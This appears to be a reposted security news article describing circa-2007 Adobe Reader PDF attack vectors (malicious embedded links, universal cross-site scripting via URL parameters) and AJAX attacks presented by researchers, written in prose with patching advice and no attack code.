How hackers attack with PDF files

1 Comment » Share

The subtle art of JavaScript misdirection

A British security researcher has figured out a way to manipulate legitimate features in Adobe PDF files to open back doors for computer attacks. David Kierznowski, a penetration testing expert specializing in Web application testing, has released proof-of-concept code and rigged PDF files to demonstrate how the Adobe Reader program could be used to launch attacks without any user action.

Adobe PDF How hackers attack with PDF files

“I do not really consider these attacks as vulnerabilities within Adobe. It is more exploiting features supported by the product that were never designed for this,” Kierznowski said in an e-mail interview with eWEEK.

The first back door (PDF), which eWEEK confirmed on a fully patched version of Adobe Reader, involves adding a malicious link to a PDF file. Once the document is opened, the target’s browser is automatically launched and loads the embedded link.

“At this point, it is obvious that any malicious code [can] be launched,” Kierznowski said.

The use of Web-based exploits to launch drive-by malware downloads is a well-known tactic and the discovery of PDF back doors is further confirmation that desktop programs have become lucrative targets for corporate espionage and other targeted attacks.

A second back door demo (PDF) presents an attack scenario that uses Adobe Systems’ ADBC (Adobe Database Connectivity) and Web Services support. Kierznowski said the back door can be used to exploit a fully patched version of Adobe Professional.

Say you’re reading a blog post about eBay’s security practices, and the blogger says something provocative–maybe about some controversial changes in eBay’s new privacy policy, a PDF document for which they’ve included a link. You click, ignoring the gibberish following the .pdf in the URL. The Adobe Reader plug-in in your Internet browser automatically launches, rendering the PDF document as intended. However, a secondary browser window opens, and this time it’s an eBay login prompt. Or a fraudulent login prompt that’s rather convincing given the context. Would you suspect this is a new form of phishing? After all, you clicked a file that’s hosted on eBay, right? Turns out there is a flaw in the open parameters feature of the Adobe Reader plug-in, one that makes such a scenario very real–and potentially very dangerous.

This past week we’ve actually seen two flaws that make rather common applications–Quicktime and Adobe Reader–execute carefully designed and potentially dangerous JavaScript on your computer. Who knew you could do such wonderful things with JavaScript? Seriously, JavaScript has been around for years; it’s a component of the backbone of the modern Internet. Now, suddenly, it’s the new playground for criminal hackers. Better for us, it’s also a hot area of concern for security researchers.

Why now?
Why the urgency? Because, according to this site, you don’t even need to access a site on the Internet to be attacked; the Adobe Reader plug-in includes a test PDF file, and a criminal can use this file sitting on your hard drive to append a malicious string of JavaScript. And new variations on this attack are being discovered by researchers every day. If you recall my columns that ran last August on the dangers of AJAX, like researcher Billy Hoffman of SPI Dynamics, Di Paola and Fedon starting playing around with all that could be done with HttpRequest–one of the core code extensions used in AJAX. Di Paola and Fedon quickly advanced the idea that, rather than leveraging flaws on the Web sites themselves, with AJAX one could instead leverage flaws within the Internet browser or, in this case, in the browser’s plug-ins.

Sadly, the Adobe Reader attack vector, called Universal Cross-site scripting (UXSS), was just a small part of Di Paola and Fedon’s overall presentation at the 23rd annual Chaos Commuting Club’s conference in Munich. Entitled “Subverting AJAX,” Di Paola and Fedon also discussed two other methods: XSS Prototype Hijacking and HTTP Request Splitting.

Adobe’s response
Fortunately, the two researchers, Stefano Di Paola and Giorgio Fedon, who found the Adobe Reader attack vector back in October 2006, did the responsible thing: they reported it privately to Adobe. Adobe, after studying it, then released Adobe Reader 8 and has, in recent days, gone to great lengths to assure everyone that PDF file format itself is not the issue–and that’s correct.

	I have found several machines at home and in the office that still have version 7, version 6, and even one with version 5 of Adobe Reader, and are therefore vulnerable to this type of attack.

Now, in version 8, should you stumble upon a maliciously coded PDF URL you’ll see an illegal operation dialog box and no execution of that extra code. That should be the end of the story, but since learning of this attack, I have found several machines at home and in the office that still have version 7, version 6, and even one with version 5 of Adobe Reader, and are therefore vulnerable to this type of attack. So stop reading now and download the latest version of this plug-in from Adobe here

The Adobe Reader plug-in includes a test PDF file; a criminal can use this file sitting on your hard drive to append a malicious string of JavaScript.

Two more AJAX attacks
In XSS Prototype Hijacking attacks, the attacker uses an extensible clone of a native XMLHttpRequest. The example given is one of an AJAX-enabled bank transaction. The user sees a dialog box that a bank transfer is about to happen, and the bank further notifies the customer via SMS for every bank transfer accomplished by an authenticated user. But if the AJAX here is injected with a special JavaScript, both the request to transfer and receipt of the transaction will be forwarded to the attacker, not the legitimate user. Di Paola points out “the attack is independent of any authentication system…AJAX-based applications could be subverted by ignoring the application specific implementations or communications modes.”

In HTTP Request Splitting attacks, the attacker takes advantage of flaws within asynchroneous requests, injecting custom headers whenever the Http request is built. In their example, the researchers used IE’s ActiveX object Microsoft.XMLHTTP, although the researchers admit that other browsers have similar vulnerabilities that could also be exploited. Basically, whenever the AJAX Http request is created, a second request is bundled as well. Since the browser will render only the first request, the second request is cached so that when the second legitimate request is sent, the cached page is presented instead.

Still just the tip of the iceberg
All of these methods can be used by phishers–the first to bypass authentication systems, the second to serve up a cached bogus blanking page instead of a real one–so I’m betting we haven’t heard the end of these attacks. And Billy Hoffman, who spoke at length about AJAX flaws at Black Hat Las Vegas last August, will be at this year’s RSA in San Francisco next month. I suspect he’ll have more coding magic up his sleeve. In the meantime, be careful what you click and be extra suspicious of “extra” content following a PDF file, or any other long URL.

reference:cnet.com,eweek.com